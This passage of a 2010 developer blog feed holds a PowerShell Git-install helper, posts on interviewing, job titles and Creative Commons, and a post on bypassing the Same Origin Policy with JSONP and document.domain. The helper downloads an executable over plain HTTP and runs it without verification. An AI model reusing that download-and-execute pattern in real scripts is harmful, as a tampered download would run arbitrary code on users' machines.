<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> global:install-git <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; install-file <span style="color: #3366CC;">'http://msysgit.googlecode.com/files/Git-1.6.4-preview20090730.exe'</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> global:install-file<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#91;</span>string<span style="color: #66cc66;">&#93;</span> $urlPath<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $filename = download-file<span style="color: #66cc66;">&#40;</span>$urlPath<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #000066;">invoke-item</span> $filename</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #003366; font-weight: bold;">function</span> global:download-file<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#91;</span>string<span style="color: #66cc66;">&#93;</span> $urlPath<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $urlSplit = $urlPath.<span style="color: #006600;">split</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'/'</span><span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $filename = <span style="color: #66cc66;">&#40;</span><span style="color: #000066;">Resolve-Path</span> .<span style="color: #66cc66;">&#41;</span>.<span style="color: #006600;">ToString</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span> + <span style="color: #3366CC;">''</span> + $urlSplit<span style="color: #66cc66;">&#91;</span>$urlSplit.<span style="color: #006600;">length</span> - <span style="color: #CC0000;color:#800000;">1</span><span style="color: #66cc66;">&#93;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $webclient = <span style="color: #000066;">New-Object</span> <span style="color: #3366CC;">"System.Net.WebClient"</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $webclient.<span style="color: #006600;">DownloadFile</span><span style="color: #66cc66;">&#40;</span>$urlPath, $filename<span style="color: #66cc66;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #000066; font-weight: bold;">return</span> $filename</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>Not familiar with Git? Then head over to <a href="http://learn.github.com/">the best online Git resource available</a>. </p>
<p>You can find more of my PowerShell development scripts <a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Development-Utilities.ps1">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sskm2-mQo1A:dx1pBhQbEio:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sskm2-mQo1A:dx1pBhQbEio:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=sskm2-mQo1A:dx1pBhQbEio:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sskm2-mQo1A:dx1pBhQbEio:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=sskm2-mQo1A:dx1pBhQbEio:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sskm2-mQo1A:dx1pBhQbEio:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=sskm2-mQo1A:dx1pBhQbEio:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=sskm2-mQo1A:dx1pBhQbEio:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/sskm2-mQo1A" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/05/04/install-git-on-windows-with-powershell/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/05/04/install-git-on-windows-with-powershell/</feedburner:origLink></item>
		<item>
		<title>Interviewing Tips: The Interview Anti-Loop and the Warren Harding Error</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/B1pCJrP2qCE/</link>
		<comments>http://adam.kahtava.com/journal/2010/04/22/interviewing-tips-the-interview-anti-loop-and-the-warren-harding-error/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 17:00:33 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Interview]]></category>
		<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2532</guid>
		<description><![CDATA[A couple non-traditional considerations when preparing for a software development interview. Prepare for the Warren Harding Error, Thin Slicing, Snap Judgements, and rapid cognition. The Warring Harding Error as described by Malcom Gladwell: Many people who looked at Warren Harding saw how extraordinarily handsome and distinguished-looking he was and jumped to the immediate - and [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://en.wikipedia.org/wiki/Warren_G._Harding"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/c/c4/Warren_G_Harding-Harris_%26_Ewing.jpg/255px-Warren_G_Harding-Harris_%26_Ewing.jpg" alt="" /></a></div>
<p>A couple non-traditional considerations when preparing for a software development interview.</p>
<h3>Prepare for the Warren Harding Error, Thin Slicing, Snap Judgements, and rapid cognition.</h3>
<p>The Warring Harding Error as described by Malcom Gladwell:</p>
<blockquote><p>Many people who looked at <a href="http://en.wikipedia.org/wiki/Warren_G._Harding">Warren Harding</a> saw how extraordinarily handsome and distinguished-looking he was and jumped to the immediate - and entirely unwarranted - conclusion that he was a man of courage and intelligence and integrity. They didn’t dig below the surface. <strong>The way he looked carried so many powerful connotations that it stopped the normal process of thinking dead in its tracks. The Warren Harding error is the dark side of rapid cognition. It is at the root of a good deal of prejudice and discrimination. It’s why picking the right candidate for a job is so difficult and why, on more occasions than we may care to admit, utter mediocrities sometimes end up in positions of enormous responsibility.</strong> - <a href="http://www.amazon.com/Blink-Power-Thinking-Without/dp/0316172324">Blink: The Power of Thinking Without Thinking</a></p></blockquote>
<p>As Developers (and Generation X / Yers) we tend to buy into the ideal that <em>"on the internet no one knows your a dog"</em>, an ideal that's been seared into our minds by <a href="http://en.wikipedia.org/wiki/Sesame_Street">Sesame Street</a> and the like. An ideal where sunny days, chase the clouds away, where knowledge, technical skill, and communication should outweigh appearance - a place where being a dog, human, or giant harry elephant should be irrelevant. Unfortunately that's not reality. Clean up for your interviews, put away those circa Cobain sneakers, and pack in the facial jewelery. Warren Harding (considered one of the worst US presidents) may have been elected based on his appearance. First impressions matter.</p>
<h3>Beware of the Interview Anti-Loop</h3>
<p>The Interview Anti-Loop as described by Steve Yegge:</p>
<blockquote><p>when I was at Amazon ... We eventually concluded that every single employee E at Amazon has at least one "Interview Anti-Loop": a set of other employees S who would not hire E. The root cause is important for you to understand when you're going into interviews, so I'll tell you a little about what I've found over the years.</p>
<p>First, you can't tell interviewers what's important ... they believe they are a "good interviewer" and they don't need to change their questions, their question styles, their interviewing style, or their feedback style, ever again. ...</p>
<p>Second problem: every "experienced" interviewer has a set of pet subjects and possibly specific questions that he or she feels is an accurate gauge of a candidate's abilities. The question sets for any two interviewers can be widely different and even entirely non-overlapping. ...</p>
<p>The bottom line is, if you go to an interview at any software company, you should plan for the contingency that you might get genuinely unlucky, and wind up with one or more people from your Interview Anti-Loop on your interview loop. If this happens, you will struggle, then be told that you were not a fit at this time, and then you will feel bad. ...</p>
<p>And then you should wait 6-12 months and re-apply. That's pretty much the best solution we (or anyone else I know of) could come up with for the false-negative problem. - <a href="http://steve-yegge.blogspot.com/2008/03/get-that-job-at-google.html">Get that job at Google</a></p></blockquote>
<h3>Don't Trash Former Employers and Employees</h3>
<p>One final bit of advice that's often overlooked. Avoid talking badly about past employers and coworkers. If you had an unfortunate string of bad career experiences, consider hiring a therapist, or telling your Mom about it. The job interview is not the place to retrace or reflect on past personal struggles, and it's not the place for trashing former coworkers and employers.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=B1pCJrP2qCE:bXGDGqxVXmA:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=B1pCJrP2qCE:bXGDGqxVXmA:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=B1pCJrP2qCE:bXGDGqxVXmA:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=B1pCJrP2qCE:bXGDGqxVXmA:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=B1pCJrP2qCE:bXGDGqxVXmA:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=B1pCJrP2qCE:bXGDGqxVXmA:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=B1pCJrP2qCE:bXGDGqxVXmA:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=B1pCJrP2qCE:bXGDGqxVXmA:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/B1pCJrP2qCE" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/04/22/interviewing-tips-the-interview-anti-loop-and-the-warren-harding-error/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/04/22/interviewing-tips-the-interview-anti-loop-and-the-warren-harding-error/</feedburner:origLink></item>
		<item>
		<title>Please, Call Me Señor Developer Not Senior</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/tEniY0qpHtY/</link>
		<comments>http://adam.kahtava.com/journal/2010/04/20/please-call-me-senor-developer-not-senior/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 17:00:41 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2514</guid>
		<description><![CDATA[This March marked my fifth year of working in the software realm and five years since graduating University, and this year (according to industry standards) I'm now considered a Senior Developer. Funny enough. Today, I don't consider myself a Senior Developer, but a couple years ago I would have told you to "Call me Senior". [...]]]></description>
			<content:encoded><![CDATA[<p>This March marked my fifth year of working in the software realm and five years since graduating University, and this year (according to industry standards) I'm now considered a Senior Developer. </p>
<p>Funny enough. Today, I don't consider myself a Senior Developer, but a couple years ago I would have told you to <em>"Call me Senior"</em>. Back in those days <em>I may have</em> been a Senior Developer within the monocultured context of the domain, language, and environment I was working with, but certainly not within the larger context of the software realm. I had surrounded myself with homogeneous tools, like minded colleagues, and had fallen into the trap of thinking I was an expert when I wasn't - we all thought we were Senior Developers.</p>
<blockquote><p>"When you are not very skilled in some area, you are more likely to think you're actually pretty expert at it ... The converse seems to be true as well; once you truly become an expert, you become painfully aware of just how little you know."  - <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050/">Pragmatic Thinking and Learning: Refactor Your Wetware</a></p></blockquote>
<p>Over the years I've observed that Experts and true Senior Developers are collectively regarded as such by their peers, not by corporate credentials, not by job titles, or duration of employment. Experts and Senior Developers are more preoccupied with getting things done, improving themselves, improving their environments, and helping others - not worrying about job titles and status. </p>
<blockquote><p>"The people who are best at programming are the people who realize how small their brains are. They are humble. The people who are the worst at programming are the people who refuse to accept the fact that their brains aren’t equal to the task. Their egos keep them from being great programmers. The more you learn to compensate for your small brain, the better a programmer you’ll be. The more humble you are, the faster you’ll improve." - <a href="http://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670">Code Complete: A Practical Handbook of Software Construction</a></p></blockquote>
<p>Please, don't call me a Senior Developer, I'm Mr. Developer or <em>Señor</em> Developer.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=tEniY0qpHtY:MFDZtVNrkys:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=tEniY0qpHtY:MFDZtVNrkys:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=tEniY0qpHtY:MFDZtVNrkys:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=tEniY0qpHtY:MFDZtVNrkys:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=tEniY0qpHtY:MFDZtVNrkys:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=tEniY0qpHtY:MFDZtVNrkys:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=tEniY0qpHtY:MFDZtVNrkys:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=tEniY0qpHtY:MFDZtVNrkys:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/tEniY0qpHtY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/04/20/please-call-me-senor-developer-not-senior/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/04/20/please-call-me-senor-developer-not-senior/</feedburner:origLink></item>
		<item>
		<title>Give Away Everything: Creative Commons, Open Source, …</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/eMIeU4Vpjlw/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/25/give-away-everything-creative-commons-open-source/#comments</comments>
		<pubDate>Thu, 25 Mar 2010 17:00:58 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2482</guid>
		<description><![CDATA[remember from school other students preventing you from seeing their answers by placing their arm around their exercise book or exam paper. It is the same [in the working world] ... The problem with hoarding is you end up living off your reserves. Eventually you'll become stale. If you give away everything you have, you [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.ronkrajewski.com/wheaten-terrier-041209.html"><img src="http://farm5.static.flickr.com/4024/4458218067_b39740441a_m.jpg" alt="" /></a></div>
<blockquote><p>remember from school other students preventing you from seeing their answers by placing their arm around their exercise book or exam paper.</p>
<p>It is the same [in the working world] ...</p>
<p>The problem with hoarding is you end up living off your reserves. Eventually you'll become stale.<br />
If you give away everything you have, you are left with nothing. This forces you to look, to be aware, to replenish. </p>
<p><strong>Somehow the more you give away the more comes back to you.</strong> - <a href="http://www.amazon.com/Its-Not-How-Good-Want/dp/0714843377/">Paul Arden, It's Not How Good You Are, Its How Good You Want to Be</a>
</p></blockquote>
<p>I identify with Arden's philosophy. The creative process is enjoyable. If I've had fun producing it, then why not share it? I think our tendencies to hoard, get hung up on copyright, and get picky about attribution stem from our fear of being taken advantage of and the fallacy of thinking we're special (<a href="http://adam.kahtava.com/journal/2008/09/13/everyone-is-special-i-wish-i-was-special/">we're not special</a>). I think we should throw our code into the public, share our content, give away everything, and watch what comes back.</p>
<p>The painting above was created by Ron Krajewski, based on <a href="http://www.flickr.com/photos/kahtava/2327548091/">my photo</a> (licensed under Creative Commons). Ron mailed me a copy of the painting - it's also available for purchase at <a href="http://www.ronkrajewski.com/wheaten-terrier-041209.html">Pet Art</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=eMIeU4Vpjlw:EhLmF0Z38Kg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=eMIeU4Vpjlw:EhLmF0Z38Kg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=eMIeU4Vpjlw:EhLmF0Z38Kg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=eMIeU4Vpjlw:EhLmF0Z38Kg:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=eMIeU4Vpjlw:EhLmF0Z38Kg:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=eMIeU4Vpjlw:EhLmF0Z38Kg:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=eMIeU4Vpjlw:EhLmF0Z38Kg:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=eMIeU4Vpjlw:EhLmF0Z38Kg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/eMIeU4Vpjlw" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/03/25/give-away-everything-creative-commons-open-source/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/03/25/give-away-everything-creative-commons-open-source/</feedburner:origLink></item>
		<item>
		<title>The Same Origin Policy: JSONP vs The document.domain Property</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/ieg3DQQV9Xw/</link>
		<comments>http://adam.kahtava.com/journal/2010/03/18/the-same-origin-policy-jsonp-vs-the-documentdomain-property/#comments</comments>
		<pubDate>Thu, 18 Mar 2010 17:00:26 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[ADC Website]]></category>
		<category><![CDATA[AJAX]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[WCF]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2441</guid>
		<description><![CDATA[The Same Origin Policy ensures that the client-side code (JavaScript) running on a website originated from that website. This prevents website http://kahtava.com from accessing resources (via client-side code) on website http://malicious-password-sniffers.com or website http://adam.kahtava.com from executing resources from http://kahtava.com - note that the sub-domains differ, one being kahtava.com, the other being adam.kahtava.com In most cases [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Same_origin_policy">The Same Origin Policy</a> ensures that the client-side code (JavaScript) running on a website originated from <em>that</em> website. This prevents website <em>http://kahtava.com</em> from accessing resources (via client-side code) on website <em>http://malicious-password-sniffers.com</em> or website <em>http://adam.kahtava.com</em> from executing resources from <em>http://kahtava.com</em> - note that the sub-domains differ, one being kahtava.com, the other being <em>adam</em>.kahtava.com </p>
<p>In most cases The Same Origin Policy is desirable. It helps to prevent malicious code that could potentially reveal sensitive information from being run on arbitrary website. However, the same origin policy also makes it difficult to share resources within a common root domain, or run external widgets on your site (like displaying <a href="http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/">The Project Badge</a> within your site). There are a couple ways to circumvent The Same Origin Policy, but I focus on JSONP and the <code>document.domain</code> property in this post.</p>
<h3>Ways to circumvent the Same Origin Policy</h3>
<ol>
<li><a href="http://en.wikipedia.org/wiki/JSON#JSONP">JSONP</a></li>
<li>Modifying the <code><a href="https://developer.mozilla.org/en/DOM/document.domain">document.domain</a></code> property</li>
<li>Creating a <a href="http://developer.yahoo.com/javascript/howto-proxy.html">server side web proxy</a></li>
</ol>
<h4>JSONP (JSON with padding)</h4>
<p><strong>How it works:</strong> JSONP dynamically creates a script element in the head of your HTML document which then requests data from outside your domain. <em>JSONP exploits a loophole in the Same Origin Policy that allows JavaScript from an external sites to be run within your site (much like how web analytic tracking works).</em> The JSON response, when returned, is executed within your browser at which time the JavaScript can manipulate your HTML page / DOM.</p>
<p><strong>An Example Using JSONP with jQuery:</strong></p>
<div class="igBar"><span id="ljavascript-5"><a href="#" onclick="javascript:showPlainTxt('javascript-5'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">JAVASCRIPT:</span>
<div id="javascript-5">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $.<span style="color: #006600;">getJSON</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'http://adam.kahtava.com/services/open-source/projects.json?project-host:username=github:adamdotcom&amp;callback=?'</span>, <span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span>data<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #000066;">alert</span><span style="color: #66cc66;">&#40;</span>data<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<em>Note the <code>callback=?</code> at the end of the URI, in jQuery this indicates a JSONP call.</em></p>
<p><strong>Pros</strong></p>
<ul>
<li>Lets us make external calls to any endpoint that supports JSONP</li>
<li>Lets us make external calls from HTTP to HTTPS</li>
<li>Supported by all major browsers</li>
</ul>
<p><strong>Cons</strong></p>
<ul>
<li>A bit more complex upfront, but most server side technologies support JSONP, browsers are natively supporting JSON, and JavaScript libraries like jQuery continue to abstract away most of the complexity.</li>
</ul>
<h4>The <code>document.domain</code> property</h4>
<p><strong>How it works:</strong> the <code>document.domain</code> property contains the domain of the server from which the page was loaded. For example, the domain for <em>http://adam.kahtava.com/</em> would be <em>adam.kahtava.com</em> whereas the domain for <em>http://kahtava.com</em> would be <em>kahtava.com</em>. The Same Origin Policy restricts resource access from <em>kahtava.com</em> to <em>adam.kahtava.com</em> unless we set the <code>document.domain</code> property to the root domain (in this case I'd want it set to <em>kahtava.com</em> to share resources with <em>http://adam.kahtava.com</em>).</p>
<p><strong>An Example using the <code>document.domain</code> property:</strong></p>
<div class="igBar"><span id="ljavascript-6"><a href="#" onclick="javascript:showPlainTxt('javascript-6'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">JAVASCRIPT:</span>
<div id="javascript-6">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; document.<span style="color: #006600;">domain</span> = <span style="color: #3366CC;">'kahtava.com'</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $.<span style="color: #006600;">get</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">'http://adam.kahtava.com/contact-me/'</span>, <span style="color: #003366; font-weight: bold;">function</span><span style="color: #66cc66;">&#40;</span>data<span style="color: #66cc66;">&#41;</span> <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #000066;">alert</span><span style="color: #66cc66;">&#40;</span>data<span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>; </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p><strong>Pros</strong></p>
<ul>
<li>An easy way to access resources within our root domains</li>
<li>Supported by all major browsers</li>
</ul>
<p><strong>Cons</strong></p>
<ul>
<li>Prevents us from making external calls outside a root domain</li>
<li>Prevents us from switching between HTTP and HTTPS</li>
<li>Kind of a hack - technically, the document.domain property is supposed to be a read only property, but most browsers also provide set access</li>
</ul>
